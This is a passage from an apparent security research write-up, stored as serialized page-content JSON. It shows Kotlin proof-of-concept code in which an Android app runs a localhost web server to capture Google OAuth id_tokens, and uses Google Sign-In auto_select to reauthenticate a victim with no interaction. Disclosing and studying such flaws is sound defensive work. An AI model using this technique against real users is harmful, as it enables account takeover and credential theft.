\"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.hash;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n","kt",[101916],{"type":23,"tag":71,"props":101917,"children":101918},{"__ignoreMap":7},[101919,101948,101967,101974,101981,102000,102011,102022,102053,102076,102123,102130,102137,102144,102151,102171,102202,102213,102220,102227,102246,102269,102280,102299,102314,102325,102348,102383,102402,102409,102420,102443,102454,102466,102473,102480,102487,102494,102501,102528],{"type":23,"tag":230,"props":101920,"children":101921},{"class":232,"line":233},[101922,101927,101931,101935,101939,101943],{"type":23,"tag":230,"props":101923,"children":101924},{"style":256},[101925],{"type":29,"value":101926}," override",{"type":23,"tag":230,"props":101928,"children":101929},{"style":256},[101930],{"type":29,"value":8544},{"type":23,"tag":230,"props":101932,"children":101933},{"style":294},[101934],{"type":29,"value":72230},{"type":23,"tag":230,"props":101936,"children":101937},{"style":274},[101938],{"type":29,"value":72235},{"type":23,"tag":230,"props":101940,"children":101941},{"style":676},[101942],{"type":29,"value":72240},{"type":23,"tag":230,"props":101944,"children":101945},{"style":274},[101946],{"type":29,"value":101947},"?){\n",{"type":23,"tag":230,"props":101949,"children":101950},{"class":232,"line":243},[101951,101955,101959,101963],{"type":23,"tag":230,"props":101952,"children":101953},{"style":256},[101954],{"type":29,"value":72253},{"type":23,"tag":230,"props":101956,"children":101957},{"style":274},[101958],{"type":29,"value":312},{"type":23,"tag":230,"props":101960,"children":101961},{"style":294},[101962],{"type":29,"value":72262},{"type":23,"tag":230,"props":101964,"children":101965},{"style":274},[101966],{"type":29,"value":72267},{"type":23,"tag":230,"props":101968,"children":101969},{"class":232,"line":252},[101970],{"type":23,"tag":230,"props":101971,"children":101972},{"emptyLinePlaceholder":18},[101973],{"type":29,"value":459},{"type":23,"tag":230,"props":101975,"children":101976},{"class":232,"line":280},[101977],{"type":23,"tag":230,"props":101978,"children":101979},{"style":237},[101980],{"type":29,"value":72282},{"type":23,"tag":230,"props":101982,"children":101983},{"class":232,"line":334},[101984,101988,101992,101996],{"type":23,"tag":230,"props":101985,"children":101986},{"style":294},[101987],{"type":29,"value":72290},{"type":23,"tag":230,"props":101989,"children":101990},{"style":274},[101991],{"type":29,"value":72295},{"type":23,"tag":230,"props":101993,"children":101994},{"style":294},[101995],{"type":29,"value":72300},{"type":23,"tag":230,"props":101997,"children":101998},{"style":274},[101999],{"type":29,"value":277},{"type":23,"tag":230,"props":102001,"children":102002},{"class":232,"line":371},[102003,102007],{"type":23,"tag":230,"props":102004,"children":102005},{"style":866},[102006],{"type":29,"value":72312},{"type":23,"tag":230,"props":102008,"children":102009},{"style":274},[102010],{"type":29,"value":277},{"type":23,"tag":230,"props":102012,"children":102013},{"class":232,"line":391},[102014,102018],{"type":23,"tag":230,"props":102015,"children":102016},{"style":294},[102017],{"type":29,"value":72324},{"type":23,"tag":230,"props":102019,"children":102020},{"style":274},[102021],{"type":29,"value":10072},{"type":23,"tag":230,"props":102023,"children":102024},{"class":232,"line":400},[102025,102029,102033,102037,102041,102045,102049],{"type":23,"tag":230,"props":102026,"children":102027},{"style":274},[102028],{"type":29,"value":72336},{"type":23,"tag":230,"props":102030,"children":102031},{"style":294},[102032],{"type":29,"value":72341},{"type":23,"tag":230,"props":102034,"children":102035},{"style":274},[102036],{"type":29,"value":302},{"type":23,"tag":230,"props":102038,"children":102039},{"style":380},[102040],{"type":29,"value":72350},{"type":23,"tag":230,"props":102042,"children":102043},{"style":274},[102044],{"type":29,"value":684},{"type":23,"tag":230,"props":102046,"children":102047},{"style":380},[102048],{"type":29,"value":72359},{"type":23,"tag":230,"props":102050,"children":102051},{"style":274},[102052],{"type":29,"value":4516},{"type":23,"tag":230,"props":102054,"children":102055},{"class":232,"line":444},[102056,102060,102064,102068,102072],{"type":23,"tag":230,"props":102057,"children":102058},{"style":274},[102059],{"type":29,"value":72371},{"type":23,"tag":230,"props":102061,"children":102062},{"style":256},[102063],{"type":29,"value":50183},{"type":23,"tag":230,"props":102065,"children":102066},{"style":274},[102067],{"type":29,"value":72380},{"type":23,"tag":230,"props":102069,"children":102070},{"style":676},[102071],{"type":29,"value":72385},{"type":23,"tag":230,"props":102073,"children":102074},{"style":274},[102075],{"type":29,"value":827},{"type":23,"tag":230,"props":102077,"children":102078},{"class":232,"line":453},[102079,102083,102087,102091,102095,102099,102103,102107,102111,102115,102119],{"type":23,"tag":230,"props":102080,"children":102081},{"style":274},[102082],{"type":29,"value":72336},{"type":23,"tag":230,"props":102084,"children":102085},{"style":294},[102086],{"type":29,"value":53227},{"type":23,"tag":230,"props":102088,"children":102089},{"style":274},[102090],{"type":29,"value":302},{"type":23,"tag":230,"props":102092,"children":102093},{"style":380},[102094],{"type":29,"value":72350},{"type":23,"tag":230,"props":102096,"children":102097},{"style":274},[102098],{"type":29,"value":684},{"type":23,"tag":230,"props":102100,"children":102101},{"style":380},[102102],{"type":29,"value":72417},{"type":23,"tag":230,"props":102104,"children":102105},{"style":256},[102106],{"type":29,"value":632},{"type":23,"tag":230,"props":102108,"children":102109},{"style":268},[102110],{"type":29,"value":72426},{"type":23,"tag":230,"props":102112,"children":102113},{"style":256},[102114],{"type":29,"value":642},{"type":23,"tag":230,"props":102116,"children":102117},{"style":380},[102118],{"type":29,"value":22374},{"type":23,"tag":230,"props":102120,"children":102121},{"style":274},[102122],{"type":29,"value":72439},{"type":23,"tag":230,"props":102124,"children":102125},{"class":232,"line":462},[102126],{"type":23,"tag":230,"props":102127,"children":102128},{"style":274},[102129],{"type":29,"value":60659},{"type":23,"tag":230,"props":102131,"children":102132},{"class":232,"line":471},[102133],{"type":23,"tag":230,"props":102134,"children":102135},{"style":274},[102136],{"type":29,"value":5686},{"type":23,"tag":230,"props":102138,"children":102139},{"class":232,"line":500},[102140],{"type":23,"tag":230,"props":102141,"children":102142},{"emptyLinePlaceholder":18},[102143],{"type":29,"value":459},{"type":23,"tag":230,"props":102145,"children":102146},{"class":232,"line":514},[102147],{"type":23,"tag":230,"props":102148,"children":102149},{"style":237},[102150],{"type":29,"value":72468},{"type":23,"tag":230,"props":102152,"children":102153},{"class":232,"line":897},[102154,102158,102162,102166],{"type":23,"tag":230,"props":102155,"children":102156},{"style":256},[102157],{"type":29,"value":72476},{"type":23,"tag":230,"props":102159,"children":102160},{"style":274},[102161],{"type":29,"value":72481},{"type":23,"tag":230,"props":102163,"children":102164},{"style":268},[102165],{"type":29,"value":863},{"type":23,"tag":230,"props":102167,"children":102168},{"style":380},[102169],{"type":29,"value":102170}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":230,"props":102172,"children":102173},{"class":232,"line":960},[102174,102178,102182,102186,102190,102194,102198],{"type":23,"tag":230,"props":102175,"children":102176},{"style":256},[102177],{"type":29,"value":72476},{"type":23,"tag":230,"props":102179,"children":102180},{"style":274},[102181],{"type":29,"value":72502},{"type":23,"tag":230,"props":102183,"children":102184},{"style":268},[102185],{"type":29,"value":863},{"type":23,"tag":230,"props":102187,"children":102188},{"style":294},[102189],{"type":29,"value":72511},{"type":23,"tag":230,"props":102191,"children":102192},{"style":274},[102193],{"type":29,"value":72516},{"type":23,"tag":230,"props":102195,"children":102196},{"style":294},[102197],{"type":29,"value":3916},{"type":23,"tag":230,"props":102199,"children":102200},{"style":274},[102201],{"type":29,"value":72525},{"type":23,"tag":230,"props":102203,"children":102204},{"class":232,"line":969},[102205,102209],{"type":23,"tag":230,"props":102206,"children":102207},{"style":294},[102208],{"type":29,"value":72533},{"type":23,"tag":230,"props":102210,"children":102211},{"style":274},[102212],{"type":29,"value":72538},{"type":23,"tag":230,"props":102214,"children":102215},{"class":232,"line":4526},[102216],{"type":23,"tag":230,"props":102217,"children":102218},{"style":274},[102219],{"type":29,"value":1552},{"type":23,"tag":230,"props":102221,"children":102222},{"class":232,"line":4534},[102223],{"type":23,"tag":230,"props":102224,"children":102225},{"emptyLinePlaceholder":18},[102226],{"type":29,"value":459},{"type":23,"tag":230,"props":102228,"children":102229},{"class":232,"line":4542},[102230,102234,102238,102242],{"type":23,"tag":230,"props":102231,"children":102232},{"style":256},[102233],{"type":29,"value":72560},{"type":23,"tag":230,"props":102235,"children":102236},{"style":256},[102237],{"type":29,"value":8544},{"type":23,"tag":230,"props":102239,"children":102240},{"style":294},[102241],{"type":29,"value":72569},{"type":23,"tag":230,"props":102243,"children":102244},{"style":274},[102245],{"type":29,"value":18061},{"type":23,"tag":230,"props":102247,"children":102248},{"class":232,"line":4559},[102249,102253,102257,102261,102265],{"type":23,"tag":230,"props":102250,"children":102251},{"style":294},[102252],{"type":29,"value":72581},{"type":23,"tag":230,"props":102254,"children":102255},{"style":274},[102256],{"type":29,"value":72586},{"type":23,"tag":230,"props":102258,"children":102259},{"style":268},[102260],{"type":29,"value":863},{"type":23,"tag":230,"props":102262,"children":102263},{"style":5149},[102264],{"type":29,"value":72595},{"type":23,"tag":230,"props":102266,"children":102267},{"style":274},[102268],{"type":29,"value":827},{"type":23,"tag":230,"props":102270,"children":102271},{"class":232,"line":4587},[102272,102276],{"type":23,"tag":230,"props":102273,"children":102274},{"style":294},[102275],{"type":29,"value":72607},{"type":23,"tag":230,"props":102277,"children":102278},{"style":274},[102279],{"type":29,"value":277},{"type":23,"tag":230,"props":102281,"children":102282},{"class":232,"line":4595},[102283,102287,102291,102295],{"type":23,"tag":230,"props":102284,"children":102285},{"style":256},[102286],{"type":29,"value":72619},{"type":23,"tag":230,"props":102288,"children":102289},{"style":274},[102290],{"type":29,"value":302},{"type":23,"tag":230,"props":102292,"children":102293},{"style":380},[102294],{"type":29,"value":72628},{"type":23,"tag":230,"props":102296,"children":102297},{"style":274},[102298],{"type":29,"value":827},{"type":23,"tag":230,"props":102300,"children":102301},{"class":232,"line":4619},[102302,102306,102310],{"type":23,"tag":230,"props":102303,"children":102304},{"style":274},[102305],{"type":29,"value":72640},{"type":23,"tag":230,"props":102307,"children":102308},{"style":294},[102309],{"type":29,"value":72645},{"type":23,"tag":230,"props":102311,"children":102312},{"style":274},[102313],{"type":29,"value":277},{"type":23,"tag":230,"props":102315,"children":102316},{"class":232,"line":4627},[102317,102321],{"type":23,"tag":230,"props":102318,"children":102319},{"style":294},[102320],{"type":29,"value":72657},{"type":23,"tag":230,"props":102322,"children":102323},{"style":274},[102324],{"type":29,"value":277},{"type":23,"tag":230,"props":102326,"children":102327},{"class":232,"line":4659},[102328,102332,102336,102340,102344],{"type":23,"tag":230,"props":102329,"children":102330},{"style":294},[102331],{"type":29,"value":72669},{"type":23,"tag":230,"props":102333,"children":102334},{"style":274},[102335],{"type":29,"value":72674},{"type":23,"tag":230,"props":102337,"children":102338},{"style":268},[102339],{"type":29,"value":863},{"type":23,"tag":230,"props":102341,"children":102342},{"style":380},[102343],{"type":29,"value":72683},{"type":23,"tag":230,"props":102345,"children":102346},{"style":274},[102347],{"type":29,"value":4516},{"type":23,"tag":230,"props":102349,"children":102350},{"class":232,"line":4671},[102351,102355,102359,102363,102367,102371,102375,102379],{"type":23,"tag":230,"props":102352,"children":102353},{"style":294},[102354],{"type":29,"value":72669},{"type":23,"tag":230,"props":102356,"children":102357},{"style":274},[102358],{"type":29,"value":72699},{"type":23,"tag":230,"props":102360,"children":102361},{"style":268},[102362],{"type":29,"value":863},{"type":23,"tag":230,"props":102364,"children":102365},{"style":380},[102366],{"type":29,"value":72708},{"type":23,"tag":230,"props":102368,"children":102369},{"style":274},[102370],{"type":29,"value":72713},{"type":23,"tag":230,"props":102372,"children":102373},{"style":268},[102374],{"type":29,"value":863},{"type":23,"tag":230,"props":102376,"children":102377},{"style":380},[102378],{"type":29,"value":72722},{"type":23,"tag":230,"props":102380,"children":102381},{"style":274},[102382],{"type":29,"value":4516},{"type":23,"tag":230,"props":102384,"children":102385},{"class":232,"line":4688},[102386,102390,102394,102398],{"type":23,"tag":230,"props":102387,"children":102388},{"style":294},[102389],{"type":29,"value":72734},{"type":23,"tag":230,"props":102391,"children":102392},{"style":274},[102393],{"type":29,"value":302},{"type":23,"tag":230,"props":102395,"children":102396},{"style":380},[102397],{"type":29,"value":72743},{"type":23,"tag":230,"props":102399,"children":102400},{"style":274},[102401],{"type":29,"value":4516},{"type":23,"tag":230,"props":102403,"children":102404},{"class":232,"line":4701},[102405],{"type":23,"tag":230,"props":102406,"children":102407},{"style":274},[102408],{"type":29,"value":72755},{"type":23,"tag":230,"props":102410,"children":102411},{"class":232,"line":4724},[102412,102416],{"type":23,"tag":230,"props":102413,"children":102414},{"style":294},[102415],{"type":29,"value":72763},{"type":23,"tag":230,"props":102417,"children":102418},{"style":274},[102419],{"type":29,"value":277},{"type":23,"tag":230,"props":102421,"children":102422},{"class":232,"line":4741},[102423,102427,102431,102435,102439],{"type":23,"tag":230,"props":102424,"children":102425},{"style":294},[102426],{"type":29,"value":72775},{"type":23,"tag":230,"props":102428,"children":102429},{"style":274},[102430],{"type":29,"value":848},{"type":23,"tag":230,"props":102432,"children":102433},{"style":268},[102434],{"type":29,"value":6719},{"type":23,"tag":230,"props":102436,"children":102437},{"style":380},[102438],{"type":29,"value":72788},{"type":23,"tag":230,"props":102440,"children":102441},{"style":274},[102442],{"type":29,"value":11927},{"type":23,"tag":230,"props":102444,"children":102445},{"class":232,"line":4759},[102446,102450],{"type":23,"tag":230,"props":102447,"children":102448},{"style":294},[102449],{"type":29,"value":72800},{"type":23,"tag":230,"props":102451,"children":102452},{"style":274},[102453],{"type":29,"value":277},{"type":23,"tag":230,"props":102455,"children":102456},{"class":232,"line":4768},[102457,102461],{"type":23,"tag":230,"props":102458,"children":102459},{"style":268},[102460],{"type":29,"value":72812},{"type":23,"tag":230,"props":102462,"children":102463},{"style":380},[102464],{"type":29,"value":102465},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":230,"props":102467,"children":102468},{"class":232,"line":4776},[102469],{"type":23,"tag":230,"props":102470,"children":102471},{"style":274},[102472],{"type":29,"value":72825},{"type":23,"tag":230,"props":102474,"children":102475},{"class":232,"line":4784},[102476],{"type":23,"tag":230,"props":102477,"children":102478},{"style":274},[102479],{"type":29,"value":72755},{"type":23,"tag":230,"props":102481,"children":102482},{"class":232,"line":4792},[102483],{"type":23,"tag":230,"props":102484,"children":102485},{"style":274},[102486],{"type":29,"value":72840},{"type":23,"tag":230,"props":102488,"children":102489},{"class":232,"line":4824},[102490],{"type":23,"tag":230,"props":102491,"children":102492},{"style":274},[102493],{"type":29,"value":72848},{"type":23,"tag":230,"props":102495,"children":102496},{"class":232,"line":4832},[102497],{"type":23,"tag":230,"props":102498,"children":102499},{"style":274},[102500],{"type":29,"value":60659},{"type":23,"tag":230,"props":102502,"children":102503},{"class":232,"line":4840},[102504,102508,102512,102516,102520,102524],{"type":23,"tag":230,"props":102505,"children":102506},{"style":274},[102507],{"type":29,"value":72863},{"type":23,"tag":230,"props":102509,"children":102510},{"style":294},[102511],{"type":29,"value":72868},{"type":23,"tag":230,"props":102513,"children":102514},{"style":274},[102515],{"type":29,"value":72873},{"type":23,"tag":230,"props":102517,"children":102518},{"style":268},[102519],{"type":29,"value":863},{"type":23,"tag":230,"props":102521,"children":102522},{"style":256},[102523],{"type":29,"value":14799},{"type":23,"tag":230,"props":102525,"children":102526},{"style":274},[102527],{"type":29,"value":4516},{"type":23,"tag":230,"props":102529,"children":102530},{"class":232,"line":4901},[102531],{"type":23,"tag":230,"props":102532,"children":102533},{"style":274},[102534],{"type":29,"value":1552},{"type":23,"tag":32,"props":102536,"children":102537},{},[102538],{"type":29,"value":102539},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":32,"props":102541,"children":102542},{},[102543,102545,102551],{"type":29,"value":102544},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":71,"props":102546,"children":102548},{"className":102547},[],[102549],{"type":29,"value":102550},"auto_select",{"type":29,"value":102552}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":220,"props":102554,"children":102556},{"className":101912,"code":102555,"language":101914,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[102557],{"type":23,"tag":71,"props":102558,"children":102559},{"__ignoreMap":7},[102560,102587,102606,102613,102632,102643,102654,102685,102708,102755,102762,102769,102776,102816,102827,102834,102841,102860,102883,102894,102913,102928,102939,102959,102970,102987,103013,103037,103044,103055,103067,103080,103088,103096,103103,103110,103118,103126,103134,103142,103150,103158,103166,103173,103180,103188,103196,103204,103211,103218,103226,103233,103254,103262,103269,103276,103287,103311,103323,103340,103347,103354,103362,103370,103378,103406],{"type":23,"tag":230,"props":102561,"children":102562},{"class":232,"line":233},[102563,102567,102571,102575,102579,102583],{"type":23,"tag":230,"props":102564,"children":102565},{"style":256},[102566],{"type":29,"value":72221},{"type":23,"tag":230,"props":102568,"children":102569},{"style":256},[102570],{"type":29,"value":8544},{"type":23,"tag":230,"props":102572,"children":102573},{"style":294},[102574],{"type":29,"value":72230},{"type":23,"tag":230,"props":102576,"children":102577},{"style":274},[102578],{"type":29,"value":72235},{"type":23,"tag":230,"props":102580,"children":102581},{"style":676},[102582],{"type":29,"value":72240},{"type":23,"tag":230,"props":102584,"children":102585},{"style":274},[102586],{"type":29,"value":72245},{"type":23,"tag":230,"props":102588,"children":102589},{"class":232,"line":243},[102590,102594,102598,102602],{"type":23,"tag":230,"props":102591,"children":102592},{"style":256},[102593],{"type":29,"value":72253},{"type":23,"tag":230,"props":102595,"children":102596},{"style":274},[102597],{"type":29,"value":312},{"type":23,"tag":230,"props":102599,"children":102600},{"style":294},[102601],{"type":29,"value":72262},{"type":23,"tag":230,"props":102603,"children":102604},{"style":274},[102605],{"type":29,"value":72267},{"type":23,"tag":230,"props":102607,"children":102608},{"class":232,"line":252},[102609],{"type":23,"tag":230,"props":102610,"children":102611},{"emptyLinePlaceholder":18},[102612],{"type":29,"value":459},{"type":23,"tag":230,"props":102614,"children":102615},{"class":232,"line":280},[102616,102620,102624,102628],{"type":23,"tag":230,"props":102617,"children":102618},{"style":294},[102619],{"type":29,"value":72290},{"type":23,"tag":230,"props":102621,"children":102622},{"style":274},[102623],{"type":29,"value":72295},{"type":23,"tag":230,"props":102625,"children":102626},{"style":294},[102627],{"type":29,"value":72300},{"type":23,"tag":230,"props":102629,"children":102630},{"style":274},[102631],{"type":29,"value":277},{"type":23,"tag":230,"props":102633,"children":102634},{"class":232,"line":334},[102635,102639],{"type":23,"tag":230,"props":102636,"children":102637},{"style":866},[102638],{"type":29,"value":72312},{"type":23,"tag":230,"props":102640,"children":102641},{"style":274},[102642],{"type":29,"value":277},{"type":23,"tag":230,"props":102644,"children":102645},{"class":232,"line":371},[102646,102650],{"type":23,"tag":230,"props":102647,"children":102648},{"style":294},[102649],{"type":29,"value":72324},{"type":23,"tag":230,"props":102651,"children":102652},{"style":274},[102653],{"type":29,"value":10072},{"type":23,"tag":230,"props":102655,"children":102656},{"class":232,"line":391},[102657,102661,102665,102669,102673,102677,102681],{"type":23,"tag":230,"props":102658,"children":102659},{"style":274},[102660],{"type":29,"value":72336},{"type":23,"tag":230,"props":102662,"children":102663},{"style":294},[102664],{"type":29,"value":72341},{"type":23,"tag":230,"props":102666,"children":102667},{"style":274},[102668],{"type":29,"value":302},{"type":23,"tag":230,"props":102670,"children":102671},{"style":380},[102672],{"type":29,"value":72350},{"type":23,"tag":230,"props":102674,"children":102675},{"style":274},[102676],{"type":29,"value":684},{"type":23,"tag":230,"props":102678,"children":102679},{"style":380},[102680],{"type":29,"value":72359},{"type":23,"tag":230,"props":102682,"children":102683},{"style":274},[102684],{"type":29,"value":4516},{"type":23,"tag":230,"props":102686,"children":102687},{"class":232,"line":400},[102688,102692,102696,102700,102704],{"type":23,"tag":230,"props":102689,"children":102690},{"style":274},[102691],{"type":29,"value":72371},{"type":23,"tag":230,"props":102693,"children":102694},{"style":256},[102695],{"type":29,"value":50183},{"type":23,"tag":230,"props":102697,"children":102698},{"style":274},[102699],{"type":29,"value":72380},{"type":23,"tag":230,"props":102701,"children":102702},{"style":676},[102703],{"type":29,"value":72385},{"type":23,"tag":230,"props":102705,"children":102706},{"style":274},[102707],{"type":29,"value":827},{"type":23,"tag":230,"props":102709,"children":102710},{"class":232,"line":444},[102711,102715,102719,102723,102727,102731,102735,102739,102743,102747,102751],{"type":23,"tag":230,"props":102712,"children":102713},{"style":274},[102714],{"type":29,"value":72336},{"type":23,"tag":230,"props":102716,"children":102717},{"style":294},[102718],{"type":29,"value":53227},{"type":23,"tag":230,"props":102720,"children":102721},{"style":274},[102722],{"type":29,"value":302},{"type":23,"tag":230,"props":102724,"children":102725},{"style":380},[102726],{"type":29,"value":72350},{"type":23,"tag":230,"props":102728,"children":102729},{"style":274},[102730],{"type":29,"value":684},{"type":23,"tag":230,"props":102732,"children":102733},{"style":380},[102734],{"type":29,"value":72417},{"type":23,"tag":230,"props":102736,"children":102737},{"style":256},[102738],{"type":29,"value":632},{"type":23,"tag":230,"props":102740,"children":102741},{"style":268},[102742],{"type":29,"value":72426},{"type":23,"tag":230,"props":102744,"children":102745},{"style":256},[102746],{"type":29,"value":642},{"type":23,"tag":230,"props":102748,"children":102749},{"style":380},[102750],{"type":29,"value":22374},{"type":23,"tag":230,"props":102752,"children":102753},{"style":274},[102754],{"type":29,"value":72439},{"type":23,"tag":230,"props":102756,"children":102757},{"class":232,"line":453},[102758],{"type":23,"tag":230,"props":102759,"children":102760},{"style":274},[102761],{"type":29,"value":60659},{"type":23,"tag":230,"props":102763,"children":102764},{"class":232,"line":462},[102765],{"type":23,"tag":230,"props":102766,"children":102767},{"style":274},[102768],{"type":29,"value":5686},{"type":23,"tag":230,"props":102770,"children":102771},{"class":232,"line":471},[102772],{"type":23,"tag":230,"props":102773,"children":102774},{"emptyLinePlaceholder":18},[102775],{"type":29,"value":459},{"type":23,"tag":230,"props":102777,"children":102778},{"class":232,"line":500},[102779,102783,102787,102791,102795,102799,102803,102807,102812],{"type":23,"tag":230,"props":102780,"children":102781},{"style":256},[102782],{"type":29,"value":72476},{"type":23,"tag":230,"props":102784,"children":102785},{"style":274},[102786],{"type":29,"value":72502},{"type":23,"tag":230,"props":102788,"children":102789},{"style":268},[102790],{"type":29,"value":863},{"type":23,"tag":230,"props":102792,"children":102793},{"style":294},[102794],{"type":29,"value":72511},{"type":23,"tag":230,"props":102796,"children":102797},{"style":274},[102798],{"type":29,"value":72516},{"type":23,"tag":230,"props":102800,"children":102801},{"style":294},[102802],{"type":29,"value":3916},{"type":23,"tag":230,"props":102804,"children":102805},{"style":274},[102806],{"type":29,"value":302},{"type":23,"tag":230,"props":102808,"children":102809},{"style":380},[102810],{"type":29,"value":102811},"\"http://localhost:3000\"",{"type":23,"tag":230,"props":102813,"children":102814},{"style":274},[102815],{"type":29,"value":22026},{"type":23,"tag":230,"props":102817,"children":102818},{"class":232,"line":514},[102819,102823],{"type":23,"tag":230,"props":102820,"children":102821},{"style":294},[102822],{"type":29,"value":72533},{"type":23,"tag":230,"props":102824,"children":102825},{"style":274},[102826],{"type":29,"value":72538},{"type":23,"tag":230,"props":102828,"children":102829},{"class":232,"line":897},[102830],{"type":23,"tag":230,"props":102831,"children":102832},{"style":274},[102833],{"type":29,"value":1552},{"type":23,"tag":230,"props":102835,"children":102836},{"class":232,"line":960},[102837],{"type":23,"tag":230,"props":102838,"children":102839},{"emptyLinePlaceholder":18},[102840],{"type":29,"value":459},{"type":23,"tag":230,"props":102842,"children":102843},{"class":232,"line":969},[102844,102848,102852,102856],{"type":23,"tag":230,"props":102845,"children":102846},{"style":256},[102847],{"type":29,"value":72560},{"type":23,"tag":230,"props":102849,"children":102850},{"style":256},[102851],{"type":29,"value":8544},{"type":23,"tag":230,"props":102853,"children":102854},{"style":294},[102855],{"type":29,"value":72569},{"type":23,"tag":230,"props":102857,"children":102858},{"style":274},[102859],{"type":29,"value":18061},{"type":23,"tag":230,"props":102861,"children":102862},{"class":232,"line":4526},[102863,102867,102871,102875,102879],{"type":23,"tag":230,"props":102864,"children":102865},{"style":294},[102866],{"type":29,"value":72581},{"type":23,"tag":230,"props":102868,"children":102869},{"style":274},[102870],{"type":29,"value":72586},{"type":23,"tag":230,"props":102872,"children":102873},{"style":268},[102874],{"type":29,"value":863},{"type":23,"tag":230,"props":102876,"children":102877},{"style":5149},[102878],{"type":29,"value":72595},{"type":23,"tag":230,"props":102880,"children":102881},{"style":274},[102882],{"type":29,"value":827},{"type":23,"tag":230,"props":102884,"children":102885},{"class":232,"line":4534},[102886,102890],{"type":23,"tag":230,"props":102887,"children":102888},{"style":294},[102889],{"type":29,"value":72607},{"type":23,"tag":230,"props":102891,"children":102892},{"style":274},[102893],{"type":29,"value":277},{"type":23,"tag":230,"props":102895,"children":102896},{"class":232,"line":4542},[102897,102901,102905,102909],{"type":23,"tag":230,"props":102898,"children":102899},{"style":256},[102900],{"type":29,"value":72619},{"type":23,"tag":230,"props":102902,"children":102903},{"style":274},[102904],{"type":29,"value":302},{"type":23,"tag":230,"props":102906,"children":102907},{"style":380},[102908],{"type":29,"value":72628},{"type":23,"tag":230,"props":102910,"children":102911},{"style":274},[102912],{"type":29,"value":827},{"type":23,"tag":230,"props":102914,"children":102915},{"class":232,"line":4559},[102916,102920,102924],{"type":23,"tag":230,"props":102917,"children":102918},{"style":274},[102919],{"type":29,"value":72640},{"type":23,"tag":230,"props":102921,"children":102922},{"style":294},[102923],{"type":29,"value":72645},{"type":23,"tag":230,"props":102925,"children":102926},{"style":274},[102927],{"type":29,"value":277},{"type":23,"tag":230,"props":102929,"children":102930},{"class":232,"line":4587},[102931,102935],{"type":23,"tag":230,"props":102932,"children":102933},{"style":294},[102934],{"type":29,"value":72657},{"type":23,"tag":230,"props":102936,"children":102937},{"style":274},[102938],{"type":29,"value":277},{"type":23,"tag":230,"props":102940,"children":102941},{"class":232,"line":4595},[102942,102946,102950,102955],{"type":23,"tag":230,"props":102943,"children":102944},{"style":294},[102945],{"type":29,"value":72734},{"type":23,"tag":230,"props":102947,"children":102948},{"style":274},[102949],{"type":29,"value":302},{"type":23,"tag":230,"props":102951,"children":102952},{"style":380},[102953],{"type":29,"value":102954},"\"Test\"",{"type":23,"tag":230,"props":102956,"children":102957},{"style":274},[102958],{"type":29,"value":4516}